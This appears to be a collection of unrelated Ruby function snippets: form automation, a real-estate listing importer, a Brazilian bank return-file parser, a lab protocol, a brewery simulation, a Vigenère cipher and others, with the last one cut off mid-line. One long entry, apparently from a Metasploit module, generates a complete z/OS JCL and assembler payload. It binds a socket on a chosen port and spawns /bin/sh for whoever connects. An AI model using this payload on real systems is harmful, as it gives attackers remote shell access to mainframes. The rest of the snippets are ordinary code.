"def preencher(nome,data1,string,string2,data2, string3, string4, string8,descriao,status,related)\n tarefa_nova.set(nome)\n select string8, from: 'priority'\n descricao_bug.set(descriao) \n select status, from: 'status'\n find('#parent_type').find(\"option[value='\"+related+\"']\").select_option\n sleep 2\n savagem.click\n sleep 2 \n end",
"def import_bien b\n\n\t\t# Good location\n\t\tgood_address = {}\n\t\tloc \t\t\t= BienEmplacement.new\n\t\tloc.pays \t\t= \"France\"\n\t\tloc.code_postal = b['CodePostal']\n\t\tloc.ville \t\t= b['Ville']\n\n\t\t# Category & Transaction type\n\t\tcat = BienType.find_or_create b['TypeBien'].up_first\n\n\t\ttransaction_type = BienTransaction.where(:nom => b['TypeTransaction'].up_first).first\n\t\treturn if transaction_type.nil?\n\n\t\t# find if good already exist, unless create it\n\t\tref = b['Reference'] \n\t\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n\t\tnb = Bien.new if nb.nil?\n\n\t\tnb.is_accueil \t\t\t= false\n\t\t#nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\n\t\t# update attributes\n\t\tnb.passerelle \t\t\t= @passerelle\n\t\tnb.reference \t\t\t= ref\n\t\tnb.bien_type \t\t\t= cat\n\t\tnb.bien_transaction\t \t= transaction_type\n\t\tnb.bien_emplacement \t= loc\n\n\t\tnb.nb_piece \t\t\t= b['NbPieces'].to_i\n\t\tnb.nb_chambre \t\t\t= b['NbChambres'].to_i\n\t\tnb.surface\t\t\t\t= b['SurfaceHabitable'].to_i\n\t\tnb.surface_terrain \t\t= b['SurfaceTerrain1'].to_i\n\t\tnb.titre\t\t\t\t= b['Titre']\n\t\tif(nb.titre.nil? || nb.titre.empty?)\n\t\t\tnb.titre = b['TypeBien'].up_first\n\t\tend\n\n\t\tif((transaction_type.nom == \"Location\") && b['ChargesMensuelles'] && (b['ChargesMensuelles'].to_i > 0))\n\t\t\tnb.prix_hors_charges \t\t= b['Prix']\n\t\t\tnb.prix_charges_comprises \t= b['Prix'].to_i + b['ChargesMensuelles'].to_i\n\t\telse\n\t\t\tnb.prix_charges_comprises \t= b['Prix']\n\t\tend\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\n\t\tnb.honoraires_agence \t= b['Honoraires']\n\t\t\n\t\tnb.description \t\t\t= b['Texte']\n\t\tnb.valeur_dpe \t\t\t= b['Dpe_energie']\n\t\tif(b['Dpe_energie_etiquette'] && !(b['Dpe_energie_etiquette'].empty?))\n\t\t\tnb.classe_dpe = b['Dpe_energie_etiquette']\n\t\telse\n\t\t\tnb.classe_dpe = nb.classe_energie\n\t\tend\n\n\t\tnb.valeur_ges \t\t\t= b['Dpe_emission_ges']\n\t\tif(b['Dpe_emission_ges_etiquette'] && !(b['Dpe_emission_ges_etiquette'].empty?))\n\t\t\tnb.class_ges = b['Dpe_emission_ges_etiquette']\n\t\telse\n\t\t\tnb.class_ges = nb.classe_ges\n\t\tend\n\t\t\n\t\tnb.statut = 'new'\n\t\tnb.save!\n\n\t\t# If new images : Drop old images, add current images\n\t\tif b['Photos'] && b['Photos']['Photo']\n\t\t\t# un-attach old\n\t\t\tnb.bien_photos.each{ |photo|\n\t\t\t\tphoto.bien = nil\n\t\t\t\tphoto.save!\n\t\t\t}\n\t\t\tpl = b['Photos']['Photo']\n\n\t\t\t# When there only exists a single image, +pl+ will directly be the hash\n\t\t\tpl = [pl] unless pl.kind_of? Array\n\t\t\t# Map photo-hashes to medias, filter out failures, and add medias to good\n\t\t\tnumber = 0\n\t\t\tpl.map { |p| import_remote_media(p['UrlOriginal'], p['Position'], nb) }\n\t\tend\n\t\t\n\t\tnb.save!\n\t\treturn\n\tend",
"def parse_transaction(string)\n {\n # identificação do registro transação\n :tipo_registro => string[0..0].to_i,\n # identificação do tipo de inscrição/empresa\n # (01-CPF; 02-CNPJ; 03-PIS/PASEP;98-não tem;99-Outros)\n :codigo_inscricao => string[1..2],\n # número de inscrição da empresa (cpf/cnpj)\n :numero_inscricao => string[3..16],\n # brancos\n #:brancos1 => string[17..19],\n #:zero => string[20..20],\n # carteira de boletos\n :carteira => string[21..22],\n # agência\n :agencia => string[23..27],\n # dígito da agência\n :agencia_cd => string[28..28],\n # conta corrente\n :conta_corrente => string[29..35],\n # dígito conta corrente\n :conta_corrente_cd => string[36..36],\n # identificação do título na empresa\n :uso_da_empresa => string[37..61],\n # zeros\n #:zeros1 => string[62..69],\n # identificação do título no banco\n :nosso_numero => string[70..81],\n # complemento de registro\n #:brancos2 => string[82..91],\n # zeros\n #:zeros2 => string[92..103],\n # Somente será informado “R” ou branco\n :indicador_rateio => string[104..104],\n # zeros\n #:zeros3 => string[105..106],\n # código da carteira\n :carteira2 => string[107..107],\n # identificação da ocorrência\n :codigo_ocorrencia => string[108..109],\n # data de de ocorrência no banco\n :data_ocorrencia => convert_date(string[110..115]),\n # número do documento de cobrança (dupl, np etc)\n :numero_documento => string[116..125],\n # confirmação do número do título no banco\n :nosso_numero3 => string[126..145],\n # data de vencimento do titulo\n :vencimento => convert_date(string[146..151]),\n # valor nominal do título\n :valor_titulo => string[152..164].to_f / 100,\n # número do banco na câmara de compensação\n :codigo_banco_cobrador => string[165..167],\n # ag. cobradora, ag. de liquidação ou baixa\n :agencia_cobradora => string[168..172],\n # espécie do título\n :especie => string[173..174],\n # valor da despesa de cobrança\n # para os códigos de ocorrência (:codigo_ocorrencia)\n # 02 - Entrada Confirmada\n # 28 - Débito de tarifas\n :tarifa_cobranca => string[175..187].to_f / 100,\n # outras despesas / custos de protesto\n :outras_despesas_custos => string[188..200].to_f / 100,\n # outras despesas / custos de protesto\n # não será informado\n #:juros_operacao_atraso => string[201..213].to_f / 100,\n # valor do iof a ser recolhido (notas seguro)\n :valor_iof => string[214..226].to_f / 100,\n # valor do abatimento concedido\n :valor_abatimento => string[227..239].to_f / 100,\n # valor do desconto concedido\n :descontos => string[240..252].to_f / 100,\n # valor lançado em conta corrente\n :valor_principal => string[253..265].to_f / 100,\n # valor de mora e multa pagos pelo sacado\n :juros_mora_multa => string[266..278].to_f / 100,\n # valor de outros créditos\n :outros_creditos => string[279..291].to_f / 100,\n # complemento de registro\n #:brancos6 => string[292..294],\n # data de crédito desta liquidação\n :data_credito => convert_date(string[295..300]),\n # código da instrução cancelada\n :origem_pagamento => string[301..303],\n # complemento de registro\n #:brancos7 => string[304..317],\n # motivo de rejeição (para :codigo_ocorrencia)\n :motivo_rejeicao => string[318..327],\n # brancos\n #:brancos8 => string[328..367],\n # número cartório\n :numero_cartorio => string[368..369],\n #\n :numero_protocolo => string[370..379],\n # brancos\n #:brancos9 => string[380..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399].to_i\n }\n end",
"def processa_us\n puts(format(\"%<n>4i TRADES\\tKRAKEN\\t\\tINSERIDAS ust\", n: apius.trades.empty? ? 0 : dml(ust_ins)))\n puts(format(\"%<n>4i LEDGER\\tKRAKEN\\t\\tINSERIDAS usl\", n: apius.ledger.empty? ? 0 : dml(usl_ins)))\n end",
"def PO112=(arg)",
"def command_string\n if (datastore['JOBNAME'] == \"DUMMY\") && !datastore['FTPUSER'].nil?\n datastore['JOBNAME'] = (datastore['FTPUSER'] + \"1\").strip.upcase\n end\n lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])\n lhost = lhost.unpack(\"H*\")[0]\n lport = datastore['LPORT']\n lport = lport.to_s.to_i.to_s(16).rjust(4, '0')\n\n jcl_jobcard +\n \"//**************************************/\\n\" \\\n \"//* SPAWN BIND SHELL FOR MSF MODULE */\\n\" \\\n \"//**************************************/\\n\" \\\n \"//*\\n\" \\\n \"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\\n\" \\\n \"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\\n\" \\\n \"//C.SYSIN DD *,DLM=ZZ\\n\" \\\n \" TITLE 'Spawns Bind Shell'\\n\" \\\n \"SPAWNBND CSECT\\n\" \\\n \"SPAWNBND AMODE 31\\n\" \\\n \"SPAWNBND RMODE ANY\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* @SETUP registers and save areas *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" USING *,15\\n\" \\\n \"@SETUP0 B @SETUP1\\n\" \\\n \" DROP 15\\n\" \\\n \" DS 0H # half word boundary\\n\" \\\n \"@SETUP1 STM 14,12,12(13) # save our registers\\n\" \\\n \" LR 2,13 # callers sa\\n\" \\\n \" LR 8,15 # pgm base in R8\\n\" \\\n \" USING @SETUP0,8 # R8 for base addressability\\n\" \\\n \"*************************************\\n\" \\\n \"* set up data area / addressability *\\n\" \\\n \"*************************************\\n\" \\\n \" L 0,@DYNSIZE # len of variable area\\n\" \\\n \" GETMAIN RU,LV=(0) # get data stg, len R0\\n\" \\\n \" LR 13,1 # data address\\n\" \\\n \" USING @DATA,13 # addressability for data area\\n\" \\\n \" ST 2,@BACK # store callers sa address\\n\" \\\n \" ST 13,8(,2) # store our data addr\\n\" \\\n \" DS 0H # halfword boundaries\\n\" \\\n \"\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* BPX1SOC set up socket - inline *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" CALL BPX1SOC, X\\n\" \\\n \" (DOM,TYPE,PROTO,DIM,SRVFD, X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"*******************************\\n\" \\\n \"* chk return code, 0 or exit *\\n\" \\\n \"*******************************\\n\" \\\n \" LHI 15,2\\n\" \\\n \" L 6,RTN_VAL\\n\" \\\n \" CIB 6,0,7,EXITP # R6 not 0? Time to exit\\n\" \\\n \"\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* BPX1BND (bind) bind to local socket - inline *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\\n\" \\\n \" MVI SOCK_FAMILY,AF_INET # family inet\\n\" \\\n \" MVI SOCK_LEN,SOCK#LEN # len of socket\\n\" \\\n \" MVC SOCK_SIN_PORT,CONNSOCK # port to bind to\\n\" \\\n \" MVC SOCK_SIN_ADDR,CONNADDR # address to bind to\\n\" \\\n \" CALL BPX1BND, X\\n\" \\\n \" (SRVFD,SOCKLEN,SOCKADDR, X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"*******************************\\n\" \\\n \"* chk return code, 0 or exit *\\n\" \\\n \"*******************************\\n\" \\\n \" LHI 15,3\\n\" \\\n \" L 6,RTN_VAL\\n\" \\\n \" CIB 6,0,7,EXITP # R6 not 0? Time to exit\\n\" \\\n \"\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* BPX1LSN (listen) listen on local socket - inline *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" CALL BPX1LSN, X\\n\" \\\n \" (SRVFD,BACKLOG, X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"*******************************\\n\" \\\n \"* chk return code, 0 or exit *\\n\" \\\n \"*******************************\\n\" \\\n \" LHI 15,4\\n\" \\\n \" L 6,RTN_VAL\\n\" \\\n \" CIB 6,0,7,EXITP # R6 not 0? Time to exit\\n\" \\\n \"\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* BPX1ACP (accept) accept socket connection - inline *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\\n\" \\\n \" MVI SOCK_FAMILY,AF_INET # family inet\\n\" \\\n \" MVI SOCK_LEN,SOCK#LEN # len of socket\\n\" \\\n \" CALL BPX1ACP, X\\n\" \\\n \" (SRVFD,CLILEN,CLISKT, X\\n\" \\\n \" CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"*******************************\\n\" \\\n \"* chk return code, 0 or exit *\\n\" \\\n \"*******************************\\n\" \\\n \" LHI 15,5\\n\" \\\n \" L 6,RTN_VAL\\n\" \\\n \" CIB 6,0,7,EXITP # R6 not 0? Time to exit\\n\" \\\n \"\\n\" \\\n \"*************************************************\\n\" \\\n \"* order of things to prep child pid *\\n\" \\\n \"* 0) Dupe all 3 file desc of CLIFD *\\n\" \\\n \"* 1) Dupe parent read fd to std input *\\n\" \\\n \"*************************************************\\n\" \\\n \"*******************\\n\" \\\n \"***** STDIN *****\\n\" \\\n \"*******************\\n\" \\\n \" CALL BPX1FCT, X\\n\" \\\n \" (CLIFD, X\\n\" \\\n \" =A(F_DUPFD2), X\\n\" \\\n \" =A(F_STDI), X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"****************************************************\\n\" \\\n \"* chk return code here anything but -1 is ok *\\n\" \\\n \"****************************************************\\n\" \\\n \" LHI 15,6 # exit code for this func\\n\" \\\n \" L 7,RTN_VAL # set r7 to rtn val\\n\" \\\n \" CIB 7,-1,8,EXITP # r6 = -1 exit\\n\" \\\n \"\\n\" \\\n \"*******************\\n\" \\\n \"***** STDOUT *****\\n\" \\\n \"*******************\\n\" \\\n \" CALL BPX1FCT, X\\n\" \\\n \" (CLIFD, X\\n\" \\\n \" =A(F_DUPFD2), X\\n\" \\\n \" =A(F_STDO), X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"****************************************************\\n\" \\\n \"* chk return code here anything but -1 is ok *\\n\" \\\n \"****************************************************\\n\" \\\n \" LHI 15,7 # exit code for this func\\n\" \\\n \" L 7,RTN_VAL # set r7 to rtn val\\n\" \\\n \" CIB 7,-1,8,EXITP # r6 = -1 exit\\n\" \\\n \"\\n\" \\\n \"*******************\\n\" \\\n \"***** STDERR *****\\n\" \\\n \"*******************\\n\" \\\n \" CALL BPX1FCT, X\\n\" \\\n \" (CLIFD, X\\n\" \\\n \" =A(F_DUPFD2), X\\n\" \\\n \" =A(F_STDE), X\\n\" \\\n \" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \"****************************************************\\n\" \\\n \"* chk return code here anything but -1 is ok *\\n\" \\\n \"****************************************************\\n\" \\\n \" LHI 15,8 # exit code for this func\\n\" \\\n \" L 7,RTN_VAL # set r7 to rtn val\\n\" \\\n \" CIB 7,-1,8,EXITP # r7 = -1 exit\\n\" \\\n \"\\n\" \\\n \"***********************************************************************\\n\" \\\n \"* BP1SPN (SPAWN) execute shell '/bin/sh' *\\n\" \\\n \"***********************************************************************\\n\" \\\n \" XC INHE(INHE#LENGTH),INHE # clear inhe structure\\n\" \\\n \" XI INHEFLAGS0,INHESETPGROUP\\n\" \\\n \" SPACE ,\\n\" \\\n \" MVC INHEEYE,=C'INHE'\\n\" \\\n \" LH 0,TLEN\\n\" \\\n \" STH 0,INHELENGTH\\n\" \\\n \" LH 0,TVER\\n\" \\\n \" STH 0,INHEVERSION\\n\" \\\n \" CALL BPX1SPN, X\\n\" \\\n \" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\\n\" \\\n \" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\\n\" \\\n \" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\\n\" \\\n \" LHI 15,9 # exit code for this func\\n\" \\\n \" L 7,RTN_VAL # set r7 to rtn val\\n\" \\\n \" L 6,RTN_COD\\n\" \\\n \" L 5,RSN_COD\\n\" \\\n \" CIB 7,-1,8,EXITP # r7 = -1 exit\\n\" \\\n \"\\n\" \\\n \"****************************************************\\n\" \\\n \"* cleanup & exit preload R15 with exit code *\\n\" \\\n \"****************************************************\\n\" \\\n \" XR 15,15 # 4 FOR rc\\n\" \\\n \"EXITP L 0,@DYNSIZE\\n\" \\\n \" LR 1,13\\n\" \\\n \" L 13,@BACK\\n\" \\\n \" DROP 13\\n\" \\\n \" FREEMAIN RU,LV=(0),A=(1) #free storage\\n\" \\\n \" XR 15,15\\n\" \\\n \" L 14,12(,13) # load R14\\n\" \\\n \" LM 0,12,20(13) # load 0-12\\n\" \\\n \" BSM 0,14 # branch to caller\\n\" \\\n \"\\n\" \\\n \"****************************************************\\n\" \\\n \"* Constants and Variables *\\n\" \\\n \"****************************************************\\n\" \\\n \" DS 0F # constants full word boundary\\n\" \\\n \"F_STDI EQU 0\\n\" \\\n \"F_STDO EQU 1\\n\" \\\n \"F_STDE EQU 2\\n\" \\\n \"*************************\\n\" \\\n \"* Socket conn variables * # functions used by pgm\\n\" \\\n \"*************************\\n\" \\\n \"CONNSOCK DC XL2'#{lport}' # LPORT\\n\" \\\n \"CONNADDR DC XL4'#{lhost}' # LHOST\\n\" \\\n \"BACKLOG DC F'1' # 1 byte backlog\\n\" \\\n \"DOM DC A(AF_INET) # AF_INET = 2\\n\" \\\n \"TYPE DC A(SOCK#_STREAM) # stream = 1\\n\" \\\n \"PROTO DC A(IPPROTO_IP) # ip = 0\\n\" \\\n \"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\\n\" \\\n \"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\\n\" \\\n \"CLILEN DC F'0' # client sock len - don't care\\n\" \\\n \"CLISKT DC X'00' # client socket struck - don't care\\n\" \\\n \"************************\\n\" \\\n \"* BPX1SPN vars *********\\n\" \\\n \"************************\\n\" \\\n \"EXCMD DC CL7'/bin/sh' # command to exec\\n\" \\\n \"EXCMDL DC A(L'EXCMD) # len of cmd to exec\\n\" \\\n \"EXARGC DC F'1' # num of arguments\\n\" \\\n \"EXARG1 DC CL2'sh' # arg 1 to exec\\n\" \\\n \"EXARG1L DC A(L'EXARG1) # len of arg1\\n\" \\\n \"EXARGL DC A(EXARG1) # addr of argument list\\n\" \\\n \"EXARGLL DC A(EXARG1L) # addr of arg len list\\n\" \\\n \"EXENVC DC F'0' # env var count\\n\" \\\n \"EXENVL DC F'0' # env var arg list addr\\n\" \\\n \"EXENVLL DC F'0' # env var arg len addr\\n\" \\\n \"FDCNT DC F'0' # field count s/b 0\\n\" \\\n \"FDLST DC F'0' # field list addr s/b 0\\n\" \\\n \"TVER DC AL2(INHE#VER)\\n\" \\\n \"TLEN DC AL2(INHE#LENGTH)\\n\" \\\n \" SPACE ,\\n\" \\\n \"@DYNSIZE DC A(@ENDYN-@DATA)\\n\" \\\n \"***************************\\n\" \\\n \"***** end of constants ****\\n\" \\\n \"***************************\\n\" \\\n \"@DATA DSECT ,\\n\" \\\n \" DS 0D\\n\" \\\n \"PLIST DS 16A\\n\" \\\n \"RTN_VAL DS F # return value\\n\" \\\n \"RTN_COD DS F # return code\\n\" \\\n \"RSN_COD DS F # reason code\\n\" \\\n \"CLIFD DS F # client fd\\n\" \\\n \"SRVFD DS F # server fd\\n\" \\\n \"@BACK DS A\\n\" \\\n \"*\\n\" \\\n \" BPXYSOCK LIST=NO,DSECT=NO\\n\" \\\n \" BPXYFCTL LIST=NO,DSECT=NO\\n\" \\\n \" BPXYINHE LIST=NO,DSECT=NO\\n\" \\\n \"@ENDYN EQU *\\n\" \\\n \"@DATA#LEN EQU *-@DATA\\n\" \\\n \" BPXYCONS LIST=YES\\n\" \\\n \" END SPAWNBND\\n\" \\\n \"ZZ\\n\" \\\n \"//*\\n\"\n end",
"def run_program!(program, noun, verb)\n program[1] = noun\n program[2] = verb\n\n program.each_slice(4) do |(opcode, read_addr_1, read_addr_2, write_addr)|\n case opcode\n when 1\n program[write_addr] = program[read_addr_1] + program[read_addr_2]\n when 2\n program[write_addr] = program[read_addr_1] * program[read_addr_2]\n when 99\n break\n else\n raise ArgumentError, \"invalid opcode: #{opcode}\"\n end\n end\nend",
"def SAC06=(arg)",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
"def main\n \n # make Resuspended Library items\n operations.make\n \n # get quantities before resuspending\n operations.each { |op| op.temporary[:pmole] = op.input(POOL).item.get(:pmole) }\n no_pmole=operations.select { |op| op.temporary[:pmole].nil? }\n if(no_pmole.any?)\n data = show {\n title \"Verify Lyopholized #{OLIGO_POOL} Quantities\"\n note \"The following libraries have no parameters specified. Please enter manually:\"\n table no_pmole.start_table\n .input_item(POOL)\n .get(:pmole, type: 'number', heading: \"Quantity (pmole)\", default: DEFAULT_PMOLE) \n .end_table\n }\n end\n operations.each { |op| \n op.input(POOL).item.associate :pmole, op.temporary[:pmole].to_f \n op.output(OUT_HIGH).item.associate :concentration, TARGET_CONC_NG_PER_UL\n op.output(OUT_LOW).item.associate :concentration, LOW_CONC_NG_PER_UL\n }\n \n # get sublib parameters\n operations.each { |op|\n min_tot=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).map {|x| x.to_f}.sum\n max_tot=op.input(POOL).item.sample.properties.fetch(MAX_LENGTH).map {|x| x.to_f}.sum\n variants_tot=op.input(POOL).item.sample.properties.fetch(VARIANTS).map {|x| x.to_f}.sum\n num_sublibs=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).length\n op.temporary[:variants]=variants_tot\n op.temporary[:length]=(0.5*(max_tot+min_tot)/num_sublibs).round\n op.temporary[:sublibs]=num_sublibs\n }\n \n # show user the info for the library BEFORE resuspending\n show {\n title \"Check #{OLIGO_POOL} Parameters before resuspension\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"mean length (nt)\") { |op| op.temporary[:length] }\n .custom_column(heading: \"variants\") { |op| op.temporary[:variants] }\n .custom_column(heading: \"number of sublibraries\") { |op| op.temporary[:sublibs] }\n .custom_column(heading: \"quantity (pmole)\") { |op| {content: op.temporary[:pmole], check: true} }\n .end_table\n warning \"Quantity (pmole) determines the resuspension volume!\"\n }\n \n # resuspend\n show {\n title \"Resuspend Lyopholized #{OLIGO_POOL}s\"\n check \"Spin down all lyopholized oligo pools at #{SPIN[:qty]} #{SPIN[:units]} for #{SPIN_TIME[:qty]} #{SPIN_TIME[:units]}\"\n note \"Add #{WATER[:name]} from a <b>NEW</b> aliquot directly to the lyopholized oligo pool, according to the following:\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| \n (op.input(POOL).item.get(:pmole).to_f*op.temporary[:length]*DNA_NG_PER_NT_PER_PICOMOLE/TARGET_CONC_NG_PER_UL).round(2) }\n .output_item(OUT_HIGH) \n .end_table\n check \"Vortex well and spin down\"\n check \"Leave on bench for #{WAIT[:qty]} #{WAIT[:units]}\"\n check \"Vortex well and spin down\"\n check \"Relabel original tubes, without covering any manufacturer information, according to the final column of the table (above).\"\n }\n \n # dilute\n fac=(TARGET_CONC_NG_PER_UL.to_f/LOW_CONC_NG_PER_UL)-1\n lib_volume=(DILUTION_VOL[:qty].to_f/fac).round(2)\n show {\n title \"Dilute Resuspended #{OLIGO_POOL}s\"\n check \"Label #{operations.length} #{TUBE}s: #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence}\"\n note \"Add #{WATER[:name]} and resuspended library volumes according to the following:\"\n table operations.start_table\n .output_item(OUT_LOW)\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| {content: DILUTION_VOL[:qty], check: true} }\n .custom_column(heading: \"Resuspended Oligo Pool\") { |op| \"#{op.output(OUT_HIGH).item}\" }\n .custom_column(heading: \"Oligo Pool volume (#{DILUTION_VOL[:units]})\") { |op| {content: lib_volume, check: true} }\n .end_table\n check \"Vortex #{TUBE}s #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence} and spin down\"\n }\n \n # create sublibraries (DNA Library **Samples**)\n tab=[]\n tab[0]=[\"#{OLIGO_POOL}\",\"#{DNA_LIB}\"]\n ind=1\n operations.each { |op| \n props=op.input(POOL).item.sample.properties\n props.fetch(NAMES).each_with_index { |name, i|\n s=Sample.find_by_name(name) # check if already created\n if(s.nil?) # create if needed\n create_DNA_Library(name, \"created #{Time.zone.now.to_date}\", PROJECT, op.plan.user.id)\n check = Sample.find_by_name(name) # check if valid Sample \n if(check.nil?) # no valid Sample created\n show { note \"Problem creating Sample #{name}, please check!\"} \n else\n tab[ind]=[op.input(POOL).item.sample.name, name]\n ind=ind+1\n end\n else\n show { note \"Sample #{name} already exists, please check!\"} \n end\n }\n }\n if(ind > 1) # have new Samples to display \n show {\n title \"DNA Library Samples Created\"\n note \"The following #{DNA_LIB} Samples were created for the #{OLIGO_POOL}s:\"\n table tab\n note \"Please check that no DNA Library Samples are missing!\"\n }\n end\n \n # delete lyopholized stuff\n operations.each { |op| \n op.input(POOL).item.mark_as_deleted\n }\n \n # store resuspended stuff \n operations.store\n \n return {}\n \n end",
"def activar()\n\n i=0\n\n print \"Inicio planta\\n\"\n\n cantidadCervezas = 0\n while(i < @ciclos)\n\n i+=1;\n print \"---------->Ciclo numero\",i,\"<---------------\\n\"\n\n #Inicio de procesamiento\n @silosCebada.producir(@almacen)\n @silosCebada.imprimir()\n @molino.producir(@almacen)\n @molino.imprimir()\n @pailaMezcla.producir(@almacen)\n @pailaMezcla.imprimir()\n @cuba.producir(@almacen)\n @cuba.imprimir()\n @pailaCoccion.producir(@almacen)\n @pailaCoccion.imprimir()\n @tanquePreclarif.producir(@almacen)\n @tanquePreclarif.imprimir()\n @enfriador.producir(@almacen)\n @enfriador.imprimir()\n @tcc.producir(@almacen)\n @tcc.imprimir()\n @filtroCerveza.producir(@almacen)\n @filtroCerveza.imprimir()\n @tanqueFiltroCerveza.producir(@almacen)\n @tanqueFiltroCerveza.imprimir()\n @llenadora.producir(@almacen) \n @llenadora.imprimir() \n\n #Verifica si hubo cambios en la cantidad de cervezas\n #en el ciclo\n cervezasCiclo = @almacen.obtener_insumo(\"cerveza\")\n if (cantidadCervezas != cervezasCiclo)\n print \"Cervezas Salientes: \", (cervezasCiclo - cantidadCervezas), \"\\n\\n\"\n cantidadCervezas = cervezasCiclo\n end \n\n end\n\n #Despues de haber terminado de fabricar, imprimimos lo que haya quedado\n #en el almacen\n @almacen.imprimir()\n\n end",
"def producao (quantidade, tamanho: :M, cor: :azul) #não precisa obdecer a ordem de tamanho e cor, pq tem chave e valor\n puts \"Produzindo #{quantidade} de roupas tamanho #{tamanho} e cor #{cor}\"\nend",
"def cifra_vigenere(llave)\n cifrado = \"\"\n longitud = @texto.length\n 0.upto(longitud-1) do |j|\n i = j % (llave.size)\n alfabeto_ver = corrimiento(llave[i])\n car_cifrar = \"\" << @texto[j]\n posicion = MINUSCULAS.index(car_cifrar)\n a = alfabeto_ver[posicion]\n cifrado.concat(a)\n end\n @manejador.guardar_archivo(\"#{VIG_EN}\", cifrado)\n puts cifrado\n end",
"def subcontrat_params\n params.require(:subcontrat).permit(:ruc, :name, :address1, :distrito, :provincia, :dpto, :pais)\n end",
"def Main()\n system('cls')\n print \"\\n\"\n print \" #=============================================================================#\\n\"\n print \"\\tVerificando configuracion...\\n\"\n print \" #-----------------------------------------------------------------------------#\\n\"\n print \"\\n\"\n\n # Declaro array vacio que contendra el listado de Cuits a verificar\n listadoCuits = []\n\n # Asigno el resultado del lote de carga al listado de Cuits\n listadoCuits = LoteDeCarga()\n\n # Ejecuto el lote de proceso en busca de posibles altas, retorno verdadero o falso\n # segun corresponda\n mensaje = LoteDeProceso(listadoCuits)\n\n # Evalue el resultado del proceso, en caso de existir un alta se emite un alerta.\n EnviaMensaje(mensaje)\n\n # Reinicio el servidor en caso de ser nesesario.\n ReinicioServidor()\n\n print \" #-----------------------------------------------------------------------------#\\n\"\n print \"\\tProceso finalizado...\\n\"\n print \" #=============================================================================#\\n\"\n print \"\\n\"\nend",
"def process_sector(val, row_num, stacks)\n Rails.logger.debug(\"***\")\n Rails.logger.debug(\"*** process_sector val: #{val}\")\n Rails.logger.debug(\"*** process_sector row: #{row_num}\")\n # Rails.logger.debug(\"*** process_sector(#{stacks}\")\n tree_rec = stacks[RECS_STACK][PROCESSING_INDICATOR] # get current indicator record from stacks\n errs = []\n relations = []\n # split by semi-colon and period and others!!!\n # also split by comma and dash (used in Sector Names)\n sectorNames1 = val.present? ? val.split(/[:;\\(\\)\\{\\}\\[\\]\\-\\.)]+/) : []\n sectorNames2 = val.present? ? val.split(/[:;\\s,\\(\\)\\{\\}\\[\\]\\-\\.)]+/) : []\n sectorNames = sectorNames1.concat(sectorNames2)\n # Rails.logger.debug(\"*** sectorNames: #{sectorNames.inspect}\")\n # get a hash of all sectors translations that return the sector code\n sectorTranslations = get_sectors_translations()\n # Rails.logger.debug(\"*** sectorTranslations: #{sectorTranslations.inspect}\")\n\n sectorNames.each do |s|\n # matching of descriptions\n # Rails.logger.debug(\"*** sectorName: #{s.inspect}\")\n # ignore case, and remove leading and trailing spaces\n clean_s = s.strip.downcase\n break if clean_s.blank?\n\n # Medicine and related sectors, Tourism, Finance and business, Entrepreneurship\n # hard coded sector names matches (when spreadsheet does not match db)\n case clean_s\n when 'ikt', 'ikt', 'ит', 'икт', 'informaciono-komunikacijske tehnologije (ikt)', 'informacijske i komunikacijske tehnologije (ikt)', 'инфoрмaтичко-кoмуникaциoнe тeхнoлoгиje (икт)', 'information communication technology (ict)', 'ict', 'information', 'informacijske', 'инфoрмaтичко'\n sector_num = 1\n when 